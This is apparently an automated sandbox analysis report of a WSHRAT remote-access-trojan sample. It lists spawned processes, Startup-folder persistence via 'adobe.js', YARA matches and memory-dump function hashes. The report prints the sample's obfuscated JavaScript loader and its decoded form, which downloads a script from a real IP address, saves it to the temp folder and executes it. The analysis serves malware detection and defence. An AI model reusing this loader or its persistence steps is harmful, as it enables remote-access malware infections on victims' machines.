JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000004.00000002.2977567936.0000000009D62000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_JAVA_Packed_Allatori, Description: Detects files packed with Allatori Java Obfuscator, Source: 00000004.00000002.2977567936.0000000009D62000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CaesiumObfuscator, Description: Yara detected Caesium Obfuscator, Source: 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CaesiumObfuscator, Description: Yara detected Caesium Obfuscator, Source: 00000004.00000002.2977567936.0000000009E11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:52:02
Start date:	16/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Imagebase:	0x7ff6603e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000005.00000003.1742267547.00000296C005A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000005.00000002.2975088577.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000005.00000002.2973699666.00000296BFD98000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000005.00000003.1741594797.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000005.00000002.2974480890.00000296C1FD2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000005.00000003.1742746443.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:52:02
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Imagebase:	0xa60000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:52:02
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:52:13
Start date:	16/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Imagebase:	0x7ff6603e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:52:21
Start date:	16/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Imagebase:	0x7ff6603e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: wscript.exePID: 8108, Parent PID: 2580

General

Target ID:	13
Start time:	21:52:30
Start date:	16/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js"
Imagebase:	0x7ff6603e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000D.00000003.2018966417.00000134E0C5A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000D.00000003.2018985859.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000D.00000003.2020882585.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000D.00000003.2021378874.00000134E0B3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000D.00000003.2018761492.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000D.00000003.2021244896.00000134E0A92000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:52:30
Start date:	16/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"
Imagebase:	0x7ff6603e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2388054789.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000002.2975000160.000001F2AE904000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2387784576.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2387552603.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2387944449.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2387668685.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2024564022.000001F2ACADA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2024584613.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2387668685.000001F2AE8F4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2024426072.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000002.2975324132.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2387784576.000001F2AE8FC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2388054789.000001F2AE903000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2387944449.000001F2AE901000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2387894883.000001F2AC9C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000E.00000002.2973698231.000001F2AC8E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Disassembly

Code Analysis

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	var P0t = 85477883;
1	var WWIFJN = String.fromCharCode ( 85477999 - P0t, 85477997 - P0t, 85478004 - P0t, 85478006 - P0t, 85477893 - P0t, 85478001 - P0t, 85477980 - P0t, 85477997 - P0t, 85477915 - P0t, 85477962 - P0t, 85477981 - P0t, 85477989 - P0t, 85477984 - P0t, 85477982 - P0t, 85477999 - P0t, 85477915 - P0t, 85477944 - P0t, 85477915 - P0t, 85477993 - P0t, 85477984 - P0t, 85478002 - P0t, 85477915 - P0t, 85477948 - P0t, 85477982 - P0t, 85477999 - P0t, 85477988 - P0t, 85478001 - P0t, 85477984 - P0t, 85477971 - P0t, 85477962 - P0t, 85477981 - P0t, 85477989 - P0t, 85477984 - P0t, 85477982 - P0t, 85477999 - P0t, 85477923 - P0t, 85477917 - P0t, 85477960 - P0t, 85477966 - P0t, 85477971 - P0t, 85477960 - P0t, 85477959 - P0t, 85477933 - P0t, 85477929 - P0t, 85477971 - P0t, 85477960 - P0t, 85477959 - P0t, 85477955 - P0t, 85477967 - P0t, 85477967 - P0t, 85477963 - P0t, 85477917 - P0t, 85477924 - P0t, 85477942 - P0t, 85477893 - P0t, 85477962 - P0t, 85477981 - P0t, 85477989 - P0t, 85477984 - P0t, 85477982 - P0t, 85477999 - P0t, 85477929 - P0t, 85477962 - P0t, 85477995 - P0t, 85477984 - P0t, 85477993 - P0t, 85477923 - P0t, 85477917 - P0t, 85477954 - P0t, 85477952 - P0t, 85477967 - P0t, 85477917 - P0t, 85477927 - P0t, 85477915 - P0t, 85477917 - P0t, 85477987 - P0t, 85477999 - P0t, 85477999 - P0t, 85477995 - P0t, 85477941 - P0t, 85477930 - P0t, 85477930 - P0t, 85477932 - P0t, 85477940 - P0t, 85477933 - P0t, 85477929 - P0t, 85477934 - P0t, 85477929 - P0t, 85477933 - P0t, 85477933 - P0t, 85477931 - P0t, 85477929 - P0t, 85477937 - P0t, 85477930 - P0t, 85478002 - P0t, 85477984 - P0t, 85477981 - P0t, 85477930 - P0t, 85477994 - P0t, 85478000 - P0t, 85477997 - P0t, 85477998 - P0t, 85477929 - P0t, 85477989 - P0t, 85477998 - P0t, 85477917 - P0t, 85477927 - P0t, 85477915 - P0t, 85477985 - P0t, 85477980 - P0t, 85477991 - P0t, 85477998 - P0t, 85477984 - P0t, 85477924 - P0t, 85477942 - P0t, 85477893 - P0t, 85477962 - P0t, 85477981 - P0t, 85477989 - P0t, 85477984 - P0t, 85477982 - P0t, 85477999 - P0t, 85477929 - P0t, 85477966 - P0t, 85477984 - P0t, 85477993 - P0t, 85477983 - P0t, 85477923 - P0t, 85477924 - P0t, 85477942 - P0t, 85477893 - P0t, 85478001 - P0t, 85477980 - P0t, 85477997 - P0t, 85477915 - P0t, 85477985 - P0t, 85477998 - P0t, 85477994 - P0t, 85477915 - P0t, 85477944 - P0t, 85477915 - P0t, 85477993 - P0t, 85477984 - P0t, 85478002 - P0t, 85477915 - P0t, 85477948 - P0t, 85477982 - P0t, 85477999 - P0t, 85477988 - P0t, 85478001 - P0t, 85477984 - P0t, 85477971 - P0t, 85477962 - P0t, 85477981 - P0t, 85477989 - P0t, 85477984 - P0t, 85477982 - P0t, 85477999 - P0t, 85477923 - P0t, 85477917 - P0t, 85477966 - P0t, 85477982 - P0t, 85477997 - P0t, 85477988 - P0t, 85477995 - P0t, 85477999 - P0t, 85477988 - P0t, 85477993 - P0t, 85477986 - P0t, 85477929 - P0t, 85477953 - P0t, 85477988 - P0t, 85477991 - P0t, 85477984 - P0t, 85477966 - P0t, 85478004 - P0t, 85477998 - P0t, 85477999 - P0t, 85477984 - P0t, 85477992 - P0t, 85477962 - P0t, 85477981 - P0t, 85477989 - P0t, 85477984 - P0t, 85477982 - P0t, 85477999 - P0t, 85477917 - P0t, 85477924 - P0t, 85477942 - P0t, 85477893 - P0t, 85478001 - P0t, 85477980 - P0t, 85477997 - P0t, 85477915 - P0t, 85477985 - P0t, 85477988 - P0t, 85477991 - P0t, 85477984 - P0t, 85477995 - P0t, 85477980 - P0t, 85477999 - P0t, 85477987 - P0t, 85477915 - P0t, 85477944 - P0t, 85477915 - P0t, 85477985 - P0t, 85477998 - P0t, 85477994 - P0t, 85477929 - P0t, 85477954 - P0t, 85477984 - P0t, 85477999 - P0t, 85477966 - P0t, 85477995 - P0t, 85477984 - P0t, 85477982 - P0t, 85477988 - P0t, 85477980 - P0t, 85477991 - P0t, 85477953 - P0t, 85477994 - P0t, 85477991 - P0t, 85477983 - P0t, 85477984 - P0t, 85477997 - P0t, 85477923 - P0t, 85477933 - P0t, 85477924 - P0t, 85477915 - P0t, 85477926 - P0t, 85477915 - P0t, 85477917 - P0t, 85477930 - P0t, 85477952 - P0t, 85477959 - P0t, 85477960 - P0t, 85477948 - P0t, 85477960 - P0t, 85477969 - P0t, 85477929 - P0t, 85477989 - P0t, 85477998 - P0t, 85477917 - P0t, 85477942 - P0t, 85477893 - P0t, 85477988 - P0t, 85477985 - P0t, 85477915 - P0t, 85477923 - P0t, 85477962 - P0t, 85477981 - P0t, 85477989 - P0t, 85477984 - P0t, 85477982 - P0t, 85477999 - P0t, 85477929 - P0t, 85477966 - P0t, 85477999 - P0t, 85477980 - P0t, 85477999 - P0t, 85478000 - P0t, 85477998 - P0t, 85477915 - P0t, 85477944 - P0t, 85477944 - P0t, 85477915 - P0t, 85477933 - P0t, 85477931 - P0t, 85477931 - P0t, 85477924 - P0t, 85477893 - P0t, 85478006 - P0t, 85477893 - P0t, 85478001 - P0t, 85477980 - P0t, 85477997 - P0t, 85477915 - P0t, 85477966 - P0t, 85477999 - P0t, 85477997 - P0t, 85477984 - P0t, 85477980 - P0t, 85477992 - P0t, 85477915 - P0t, 85477944 - P0t, 85477915 - P0t, 85477993 - P0t, 85477984 - P0t, 85478002 - P0t, 85477915 - P0t, 85477948 - P0t, 85477982 - P0t, 85477999 - P0t, 85477988 - P0t, 85478001 - P0t, 85477984 - P0t, 85477971 - P0t, 85477962 - P0t, 85477981 - P0t, 85477989 - P0t, 85477984 - P0t, 85477982 - P0t, 85477999 - P0t, 85477923 - P0t, 85477917 - P0t, 85477948 - P0t, 85477951 - P0t, 85477962 - P0t, 85477951 - P0t, 85477949 - P0t, 85477929 - P0t, 85477966 - P0t, 85477999 - P0t, 85477997 - P0t, 85477984 - P0t, 85477980 - P0t, 85477992 - P0t, 85477917 - P0t, 85477924 - P0t, 85477942 - P0t, 85477893 - P0t, 85477966 - P0t, 85477999 - P0t, 85477997 - P0t, 85477984 - P0t, 85477980 - P0t, 85477992 - P0t, 85477929 - P0t, 85477962 - P0t, 85477995 - P0t, 85477984 - P0t, 85477993 - P0t, 85477923 - P0t, 85477924 - P0t, 85477942 - P0t, 85477893 - P0t, 85477966 - P0t, 85477999 - P0t, 85477997 - P0t, 85477984 - P0t, 85477980 - P0t, 85477992 - P0t, 85477929 - P0t, 85477967 - P0t, 85478004 - P0t, 85477995 - P0t, 85477984 - P0t, 85477915 - P0t, 85477944 - P0t, 85477915 - P0t, 85477932 - P0t, 85477942 - P0t, 85477893 - P0t, 85477966 - P0t, 85477999 - P0t, 85477997 - P0t, 85477984 - P0t, 85477980 - P0t, 85477992 - P0t, 85477929 - P0t, 85477970 - P0t, 85477997 - P0t, 85477988 - P0t, 85477999 - P0t, 85477984 - P0t, 85477923 - P0t, 85477962 - P0t, 85477981 - P0t, 85477989 - P0t, 85477984 - P0t, 85477982 - P0t, 85477999 - P0t, 85477929 - P0t, 85477965 - P0t, 85477984 - P0t, 85477998 - P0t, 85477995 - P0t, 85477994 - P0t, 85477993 - P0t, 85477998 - P0t, 85477984 - P0t, 85477949 - P0t, 85477994 - P0t, 85477983 - P0t, 85478004 - P0t, 85477924 - P0t, 85477942 - P0t, 85477893 - P0t, 85477966 - P0t, 85477999 - P0t, 85477997 - P0t, 85477984 - P0t, 85477980 - P0t, 85477992 - P0t, 85477929 - P0t, 85477963 - P0t, 85477994 - P0t, 85477998 - P0t, 85477988 - P0t, 85477999 - P0t, 85477988 - P0t, 85477994 - P0t, 85477993 - P0t, 85477915 - P0t, 85477944 - P0t, 85477915 - P0t, 85477931 - P0t, 85477942 - P0t, 85477893 - P0t, 85477966 - P0t, 85477999 - P0t, 85477997 - P0t, 85477984 - P0t, 85477980 - P0t, 85477992 - P0t, 85477929 - P0t, 85477966 - P0t, 85477980 - P0t, 85478001 - P0t, 85477984 - P0t, 85477967 - P0t, 85477994 - P0t, 85477953 - P0t, 85477988 - P0t, 85477991 - P0t, 85477984 - P0t, 85477923 - P0t, 85477985 - P0t, 85477988 - P0t, 85477991 - P0t, 85477984 - P0t, 85477995 - P0t, 85477980 - P0t, 85477999 - P0t, 85477987 - P0t, 85477927 - P0t, 85477915 - P0t, 85477933 - P0t, 85477924 - P0t, 85477942 - P0t, 85477893 - P0t, 85477966 - P0t, 85477999 - P0t, 85477997 - P0t, 85477984 - P0t, 85477980 - P0t, 85477992 - P0t, 85477929 - P0t, 85477950 - P0t, 85477991 - P0t, 85477994 - P0t, 85477998 - P0t, 85477984 - P0t, 85477923 - P0t, 85477924 - P0t, 85477942 - P0t, 85477893 - P0t, 85478001 - P0t, 85477980 - P0t, 85477997 - P0t, 85477915 - P0t, 85477970 - P0t, 85477998 - P0t, 85477987 - P0t, 85477966 - P0t, 85477987 - P0t, 85477984 - P0t, 85477991 - P0t, 85477991 - P0t, 85477915 - P0t, 85477944 - P0t, 85477915 - P0t, 85477993 - P0t, 85477984 - P0t, 85478002 - P0t, 85477915 - P0t, 85477948 - P0t, 85477982 - P0t, 85477999 - P0t, 85477988 - P0t, 85478001 - P0t, 85477984 - P0t, 85477971 - P0t, 85477962 - P0t, 85477981 - P0t, 85477989 - P0t, 85477984 - P0t, 85477982 - P0t, 85477999 - P0t, 85477923 - P0t, 85477917 - P0t, 85477970 - P0t, 85477966 - P0t, 85477982 - P0t, 85477997 - P0t, 85477988 - P0t, 85477995 - P0t, 85477999 - P0t, 85477929 - P0t, 85477966 - P0t, 85477987 - P0t, 85477984 - P0t, 85477991 - P0t, 85477991 - P0t, 85477917 - P0t, 85477924 - P0t, 85477942 - P0t, 85477893 - P0t, 85478001 - P0t, 85477980 - P0t, 85477997 - P0t, 85477915 - P0t, 85477994 - P0t, 85477965 - P0t, 85477968 - P0t, 85477961 - P0t, 85477915 - P0t, 85477944 - P0t, 85477915 - P0t, 85477970 - P0t, 85477998 - P0t, 85477987 - P0t, 85477966 - P0t, 85477987 - P0t, 85477984 - P0t, 85477991 - P0t, 85477991 - P0t, 85477929 - P0t, 85477965 - P0t, 85478000 - P0t, 85477993 - P0t, 85477923 - P0t, 85477985 - P0t, 85477988 - P0t, 85477991 - P0t, 85477984 - P0t, 85477995 - P0t, 85477980 - P0t, 85477999 - P0t, 85477987 - P0t, 85477924 - P0t, 85477942 - P0t, 85477893 - P0t, 85478008 - P0t, 85477893 - P0t, 85478008 - P0t, 85477893 - P0t, 85477982 - P0t, 85477980 - P0t, 85477999 - P0t, 85477982 - P0t, 85477987 - P0t, 85477923 - P0t, 85477984 - P0t, 85477924 - P0t, 85478006 - P0t, 85478008 - P0t, 85477893 - P0t );
2	eval ( WWIFJN );	eval("try{ var Object = new ActiveXObject("MSXML2.XMLHTTP"); Object.Open("GET", "http://192.3.220.6/web/ours.js", false); Object.Send(); var fso = new ActiveXObject("Scripting.FileSystemObject"); var filepath = fso.GetSpecialFolder(2) + "/ELMAMV.js"; if (Object.Status == 200) { var Stream = new ActiveXObject("ADODB.Stream"); Stream.Open(); Stream.Type = 1; Stream.Write(Object.ResponseBody); Stream.Position = 0; Stream.SaveToFile(filepath, 2); Stream.Close(); var WshShell = new ActiveXObject("WScript.Shell"); var oRUN = WshShell.Run(filepath); } } catch(e){} ") ➔ undefined

Reset < >

Analysis Process: javaw.exePID: 7540, Parent PID: 7460COMMON

Executed Functions

Function 027AD8F7 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4dfadd20c7bef5fcc6f725bc324ff7b2062a2100b87269a22bb1c27d4b0a491
Instruction ID: 6ba29465d1e936684e175d4cdeb0b8a9529beeb7bc95892eb061719e1adf834f
Opcode Fuzzy Hash: d4dfadd20c7bef5fcc6f725bc324ff7b2062a2100b87269a22bb1c27d4b0a491
Instruction Fuzzy Hash: D2A1C071A05601DFDB29CF24C5A8BA9F7B1FF89324F04829DD81A5BB81DB74A844CF91

Function 027AD8D1 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c78de9da6d0fc991675fc8ee33e876e9e11c57cd7b8e0f507f4430aee1f249a6
Instruction ID: 041723cf118977239006d3683b09390b966cd01e0ed158e54988da6677f1de4c
Opcode Fuzzy Hash: c78de9da6d0fc991675fc8ee33e876e9e11c57cd7b8e0f507f4430aee1f249a6
Instruction Fuzzy Hash: 5F71E371605641DFDB28CF14C4A8BAAF7B1FF89324F04829DD81A5BB81C774A845CF91

Function 0289EC67 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.0000000002844000.00000040.00000800.00020000.00000000.sdmp, Offset: 02844000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2844000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 502cf62a9ad3d98daae9750789f0028b6f393ce6e7a61a9bbc549ccd1defc7e3
Instruction ID: 30bd05e8d9510ddbc0ac027b0db8c2c32cc7b580e687bc219361421ae6ef1861
Opcode Fuzzy Hash: 502cf62a9ad3d98daae9750789f0028b6f393ce6e7a61a9bbc549ccd1defc7e3
Instruction Fuzzy Hash: 8C3190B8905745EFEB25CF28C5187A9BFB0BF42308F0C866AD84887791D734A959CB81

Function 0289794C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.0000000002844000.00000040.00000800.00020000.00000000.sdmp, Offset: 02844000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2844000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 357b9dd173b303209afb5c50c978e9e317667bdf8e93dc17ed3c836f7a8f5ba3
Instruction ID: 50005cd1f408358893b0ed91afd11fa788fa97c434d53c87cf05aee58617b353
Opcode Fuzzy Hash: 357b9dd173b303209afb5c50c978e9e317667bdf8e93dc17ed3c836f7a8f5ba3
Instruction Fuzzy Hash: A431D1B8915645EFDB15CF24C9083A9FBF0FF46308F1882ADC44897791D7346969CB82

Function 027A0672 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a0000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46858cea893429fa2b48a2a631a3eb9b86c6d1a011fd84a614445dd915014304
Instruction ID: 8217c5bf2178b72b74e0eef87175787624b5f094a10aea60c09c286fb718e288
Opcode Fuzzy Hash: 46858cea893429fa2b48a2a631a3eb9b86c6d1a011fd84a614445dd915014304
Instruction Fuzzy Hash: 4C115BB6D0022ADFCF14CF4CC8A56ADB7B0FB98328B564A65DC65A3341D3346960CB90

Function 027B4CCD Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4992752478aae79c7ca6f4ca78f0184d7245e751f69ae80f8581d79cc1a93fc0
Instruction ID: cbb92a5a44e8128d69dbe3356570dcee7306ade2c30bffbf386b957c236d92f6
Opcode Fuzzy Hash: 4992752478aae79c7ca6f4ca78f0184d7245e751f69ae80f8581d79cc1a93fc0
Instruction Fuzzy Hash: 55F0DFB5900A06EBEB15CF24C0047EAF7B4FB88718F04460AD42C53310C379B429CBD0

Function 027A0722 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a0000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 122315d8b70c0dae26e9ac38763ab130962f41115f0872de17f01ce07efae66f
Instruction ID: d925e66731bdbc61849affd249dbed8adf6b52522f2b7a74220341ff24f59950
Opcode Fuzzy Hash: 122315d8b70c0dae26e9ac38763ab130962f41115f0872de17f01ce07efae66f
Instruction Fuzzy Hash: E8F01C76C0012ADB8F14DF48C4401EDB771FB44228B198996DC2837251D3326D61CF91

Function 027B4B78 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46882d585b78b25180caf637921bb020f5040e16dd77b2bb40a11ac00a38a2d4
Instruction ID: 4c30f0b66e96bdeac05688d5fc2dcbd36b8cdeecfa2c8302ea699d517346a889
Opcode Fuzzy Hash: 46882d585b78b25180caf637921bb020f5040e16dd77b2bb40a11ac00a38a2d4
Instruction Fuzzy Hash: A3F07FB5900A06EBDB15CF65C1047DAFBB4BB88718F14421AD42C57350D779B4668BC0

Function 027AEC1C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32151bfb02c8097c4851678602329ff6cb7942c84bf8bd937183342350b6fe0b
Instruction ID: db00ce20c928803a44d20b9b5e55e7080c7156ea37276ad2d88a8ac077e1275c
Opcode Fuzzy Hash: 32151bfb02c8097c4851678602329ff6cb7942c84bf8bd937183342350b6fe0b
Instruction Fuzzy Hash: 67F09BB6A00A06EBDB29CF65C1047DAFBB4BB88718F54421AC42C67750D779B469CBD0

Function 027ADA35 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bbcfb53b0ab9b99655328fb77d8b1b9a8ae95cb152d15f13aebefbe2c96ba20
